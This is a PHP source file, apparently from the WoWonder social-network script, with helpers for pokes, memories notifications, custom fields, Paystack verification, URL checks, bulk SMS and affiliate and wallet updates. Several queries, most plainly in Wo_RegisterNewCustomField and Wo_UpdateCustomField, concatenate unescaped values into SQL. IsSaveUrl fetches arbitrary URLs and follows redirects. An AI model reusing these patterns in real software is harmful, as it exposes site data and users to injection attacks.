function Wo_GetPokeById($id) {
    global $sqlConnect, $wo;
    if (empty($id) || !is_numeric($id) || $id < 1) {
        return false;
    }
    $data      = array();
    $query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_POKES . " WHERE `id` = '{$id}'");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $fetched_data["user_data"] = Wo_UserData($fetched_data["received_user_id"]);
            $data                      = $fetched_data;
        }
    }
    return $data;
}
function Wo_GetAllColors() {
    global $sqlConnect, $wo, $db;
    $data      = array();
    $query_one = $db->get(T_COLORS);
    if ($query_one) {
        foreach ($query_one as $key => $fetched_data) {
            $data["" . $fetched_data->id . ""] = $fetched_data;
        }
    }
    return $data;
}
function Wo_GetMemoriesPosts($user_id) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    // $year = date('Y')-1;
    // $start_time = strtotime(date('d').' '.date('F').' '.$year.' 12:00am');
    // $end_time = strtotime(date('d').' '.date('F').' '.$year.' 11:59pm');
    $day       = date("d");
    $month     = date("n");
    $year      = date("Y") - 1;
    $user_id   = Wo_Secure($user_id);
    $data      = array();
    //$query_one = "SELECT `post_id` FROM " . T_POSTS . " WHERE `user_id` = {$user_id} AND `time` >= '{$start_time}' AND `time` <= '{$end_time}'";
    $query_one = "SELECT `post_id` FROM " . T_POSTS . " WHERE `user_id` = '{$user_id}' AND DAY(FROM_UNIXTIME(time)) = '{$day}' AND MONTH(FROM_UNIXTIME(time)) = '{$month}' AND YEAR(FROM_UNIXTIME(time)) = '{$year}'";
    $query     = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $post = Wo_PostData($fetched_data["post_id"]);
            if (is_array($post)) {
                $data[] = $post;
            }
        }
    }
    return $data;
}
function Wo_GetMemoriesFreinds($user_id) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $day       = date("d");
    $month     = date("n");
    $year      = date("Y") - 1;
    $user_id   = Wo_Secure($user_id);
    $data      = array();
    $query_one = " SELECT `user_id`,b.`time` FROM " . T_USERS . " a," . T_FOLLOWERS . " b WHERE a.`user_id` IN (SELECT `follower_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` <> {$user_id} AND `following_id` = {$user_id} AND `active` = '1' AND  DAY(FROM_UNIXTIME(time)) = '{$day}' AND MONTH(FROM_UNIXTIME(time)) = '{$month}') AND YEAR(FROM_UNIXTIME(time)) = '{$year}' AND a.`active` = '1' GROUP BY a.`user_id`";
    $query     = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $user         = Wo_UserData($fetched_data["user_id"]);
            $user["time"] = $fetched_data["time"];
            if (is_array($user)) {
                $data[] = $user;
            }
        }
    }
    return $data;
}
function Wo_AddNotifyMemories() {
    global $wo, $sqlConnect, $db;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id   = $wo["user"]["id"];
    $day       = date("d");
    $month     = date("n");
    $year      = date("Y");
    $query_one = " SELECT COUNT(*) AS count FROM " . T_NOTIFICATION . " WHERE `recipient_id` = " . $user_id . " AND DAY(FROM_UNIXTIME(time)) = '{$day}' AND MONTH(FROM_UNIXTIME(time)) = '{$month}' AND YEAR(FROM_UNIXTIME(time)) = '{$year}' AND `type` = 'memory'";
    $query     = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        $notify       = false;
        if ($fetched_data["count"] < 1) {
            $friends = Wo_GetMemoriesFreinds($user_id);
            if (count($friends) < 1) {
                $posts = Wo_GetMemoriesPosts($user_id);
                if (count($posts) < 1) {
                    $notify = false;
                } else {
                    $notify = true;
                }
            } else {
                $notify = true;
            }
        }
        if ($notify == true) {
            $db->insert(T_NOTIFICATION, array(
                "recipient_id" => $wo["user"]["id"],
                "type" => "memory",
                "text" => $wo["lang"]["memory_this_day"],
                "url" => "index.php?link1=memories",
                "time" => time()
            ));
        }
    }
    return false;
}
function Wo_GetSubCategories() {
    global $sqlConnect, $wo;
    $wo["page_sub_categories"]     = array();
    $wo["group_sub_categories"]    = array();
    $wo["products_sub_categories"] = array();
    $categories                    = mysqli_query($sqlConnect, "SELECT * FROM " . T_SUB_CATEGORIES);
    if (mysqli_num_rows($categories)) {
        while ($fetched_data = mysqli_fetch_assoc($categories)) {
            if ($fetched_data["type"] == "page") {
                $fetched_data["lang"]                                      = $wo["lang"][$fetched_data["lang_key"]];
                $wo["page_sub_categories"][$fetched_data["category_id"]][] = $fetched_data;
            }
            if ($fetched_data["type"] == "group") {
                $fetched_data["lang"]                                       = $wo["lang"][$fetched_data["lang_key"]];
                $wo["group_sub_categories"][$fetched_data["category_id"]][] = $fetched_data;
            }
            if ($fetched_data["type"] == "product") {
                $fetched_data["lang"]                                          = $wo["lang"][$fetched_data["lang_key"]];
                $wo["products_sub_categories"][$fetched_data["category_id"]][] = $fetched_data;
            }
        }
        return true;
    }
    return false;
}
function Wo_GetCustomFields($type = "all") {
    global $wo, $sqlConnect;
    $data       = array();
    $where      = "";
    $placements = array(
        "page",
        "group",
        "product"
    );
    $type       = Wo_Secure($type);
    if ($type != "all" && in_array($type, $placements)) {
        $where = "WHERE `placement` = '{$type}' ";
    }
    $query_one = "SELECT * FROM " . T_CUSTOM_FIELDS . " {$where} ORDER BY `id` ASC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $fetched_data["fid"] = "fid_" . $fetched_data["id"];
            $fetched_data["name"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["name"]);
            $fetched_data["description"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["description"]);
            $fetched_data["options"] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) {
                return isset($wo["lang"][$m[1]]) ? $wo["lang"][$m[1]] : "";
            }, $fetched_data["options"]);
            $data[]                  = $fetched_data;
        }
    }
    return $data;
}
function Wo_RegisterNewCustomField($registration_data) {
    global $wo, $sqlConnect;
    if (empty($registration_data)) {
        return false;
    }
    $fields = "`" . implode("`, `", array_keys($registration_data)) . "`";
    $data   = '\'' . implode('\', \'', $registration_data) . '\'';
    $query  = mysqli_query($sqlConnect, "INSERT INTO " . T_CUSTOM_FIELDS . " ({$fields}) VALUES ({$data})");
    if ($query) {
        $sql_id      = mysqli_insert_id($sqlConnect);
        $column      = "fid_" . $sql_id;
        $length      = $registration_data["length"];
        $types_array = array(
            "page" => T_PAGES,
            "group" => T_GROUPS,
            "product" => T_PRODUCTS
        );
        $query_2     = mysqli_query($sqlConnect, "ALTER TABLE " . $types_array[$registration_data["placement"]] . " ADD COLUMN `{$column}` varchar({$length}) NOT NULL DEFAULT ''");
        return true;
    }
    return false;
}
function Wo_DeleteCustomField($id, $type) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $types_array = array(
        "page" => T_PAGES,
        "group" => T_GROUPS,
        "product" => T_PRODUCTS
    );
    $id          = Wo_Secure($id);
    $type        = Wo_Secure($type);
    $query       = mysqli_query($sqlConnect, "DELETE FROM " . T_CUSTOM_FIELDS . " WHERE `id` = {$id} AND `placement` = '{$type}'");
    if ($query) {
        $query2 = mysqli_query($sqlConnect, "ALTER TABLE " . $types_array[$type] . " DROP `fid_{$id}`;");
        if ($query2) {
            return true;
        }
    }
    return false;
}
function Wo_UpdateCustomField($id, $update_data) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) || !is_numeric($id) || $id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $id = Wo_Secure($id);
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $update      = array();
    $types_array = array(
        "page" => T_PAGES,
        "group" => T_GROUPS,
        "product" => T_PRODUCTS
    );
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data, 0) . '\'';
        if ($field == "length") {
            $mysqli = mysqli_query($sqlConnect, "ALTER TABLE " . $types_array[$update_data["placement"]] . " CHANGE `fid_{$id}` `fid_{$id}` VARCHAR(" . Wo_Secure($data) . ") CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL DEFAULT '';");
        }
    }
    $impload   = implode(", ", $update);
    $query_one = "UPDATE " . T_CUSTOM_FIELDS . " SET {$impload} WHERE `id` = {$id} ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($query) {
        return true;
    }
    return false;
}
function Wo_CheckPaystackPayment($ref) {
    global $wo, $db;
    if (empty($ref) || $wo["loggedin"] == false) {
        return false;
    }
    $ref  = Wo_Secure($ref);
    $result = array();
    //The parameter after verify/ is the transaction reference to be verified
    $url    = "https://api.paystack.co/transaction/verify/" . $ref;
    $ch     = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        "Authorization: Bearer " . $wo["config"]["paystack_secret_key"]
    ));
    $request = curl_exec($ch);
    curl_close($ch);
    if ($request) {
        $result = json_decode($request, true);
        if ($result) {
            if ($result["data"]) {
                if ($result["data"]["status"] == "success") {
                    return true;
                } else {
                    die("Transaction was not successful: Last gateway response was: " . $result["data"]["gateway_response"]);
                }
            } else {
                die($result["message"]);
            }
        } else {
            die("Something went wrong while trying to convert the request variable to json. Uncomment the print_r command to see what is in the result variable.");
        }
    } else {
        die("Something went wrong while executing curl. Uncomment the var_dump line above this line to see what the issue is. Please check your CURL command to make sure everything is ok");
    }
}
function IsSaveUrl($url) {
    if (empty($url)) {
        return array(
            "status" => 400
        );
    }
    $headers = array();
    $ch      = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    //curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 20);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    // Only calling the head
    curl_setopt($ch, CURLOPT_HEADER, true); // header will be at output
    curl_setopt($ch, CURLOPT_NOBODY, true);
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function($curl, $header) use (&$headers) {
        $len    = strlen($header);
        $header = explode(":", $header, 2);
        if (count($header) < 2) {
            // ignore invalid headers
            return $len;
        }
        $headers[strtolower(trim($header[0]))][] = trim($header[1]);
        return $len;
    });
    $content = curl_exec($ch);
    curl_close($ch);
    if (!empty($headers["content-type"])) {
        if (strpos($headers["content-type"][0], "/html")) {
            return array(
                "status" => 200,
                "type" => "html"
            );
        }
        if (strpos($headers["content-type"][0], "image/") === 0) {
            return array(
                "status" => 200,
                "type" => "image"
            );
        }
    }
    return array(
        "status" => 400
    );
}
function send_bulksms_message ( $post_body, $url, $username, $password) {
  $ch = curl_init( );
  $headers = array(
  'Content-Type:application/json',
  'Authorization:Basic '. base64_encode("$username:$password")
  );
  curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  curl_setopt ( $ch, CURLOPT_URL, $url );
  curl_setopt ( $ch, CURLOPT_POST, 1 );
  curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
  curl_setopt ( $ch, CURLOPT_POSTFIELDS, $post_body );
  // Allow cUrl functions 20 seconds to execute
  curl_setopt ( $ch, CURLOPT_TIMEOUT, 20 );
  // Wait 10 seconds while trying to connect
  curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, 10 );
  $output = array();
  $output['server_response'] = curl_exec( $ch );
  $curl_info = curl_getinfo( $ch );
  $output['http_status'] = $curl_info[ 'http_code' ];
  $output['error'] = curl_error($ch);
  curl_close( $ch );
  return $output;
}
function affiliateRef($price)
{
    global $wo, $sqlConnect, $db;

    if (!empty($_SESSION['ref'])) {
        $ref_user_id = Wo_UserIdFromUsername($_SESSION['ref']);
    } elseif (!empty($wo['user']['ref_user_id'])) {
        $ref_user_id = $wo['user']['ref_user_id'];
    }
    if ($wo['config']['amount_percent_ref'] > 0) {
        if (!empty($ref_user_id) && is_numeric($ref_user_id)) {
            $update_user = Wo_UpdateUserData($wo['user']['user_id'], array(
                'referrer' => $ref_user_id,
                'src' => 'Referrer'
            ));
            $ref_amount  = ($wo['config']['amount_percent_ref'] * $price) / 100;
            if ($wo['config']['affiliate_level'] < 2) {
                $update_balance = Wo_UpdateBalance($ref_user_id, $ref_amount);
            }
            if (is_numeric($wo['config']['affiliate_level']) && $wo['config']['affiliate_level'] > 1) {
                AddNewRef($ref_user_id, $wo['user']['user_id'], $ref_amount);
            }
            unset($_SESSION['ref']);
        }
    } else if ($wo['config']['amount_ref'] > 0) {
        if (!empty($ref_user_id) && is_numeric($ref_user_id)) {
            $update_user = Wo_UpdateUserData($wo['user']['user_id'], array(
                'referrer' => $ref_user_id,
                'src' => 'Referrer'
            ));
            if ($wo['config']['affiliate_level'] < 2) {
                $update_balance = Wo_UpdateBalance($ref_user_id, $wo['config']['amount_ref']);
            }
            if (is_numeric($wo['config']['affiliate_level']) && $wo['config']['affiliate_level'] > 1) {
                AddNewRef($ref_user_id, $wo['user']['user_id'], $wo['config']['amount_ref']);
            }
            unset($_SESSION['ref']);
        }
    }
}

function updatePoints($price)
{
    global $wo, $sqlConnect, $db;
    $points = 0;
    if ($wo['config']['point_level_system'] == 1) {
        $points = $price * $wo['config']['dollar_to_point_cost'];
    }
    $wallet_amount  = ($wo["user"]['wallet'] - $price);
    $points_amount  = ($wo['config']['point_allow_withdrawal'] == 0) ? ($wo["user"]['points'] - $points) : $wo["user"]['points'];
    $query_one      = mysqli_query($sqlConnect, "UPDATE " . T_USERS . " SET `points` = '{$points_amount}', `wallet` = '{$wallet_amount}' WHERE `user_id` = {$wo['user']['user_id']} ");
}
?>
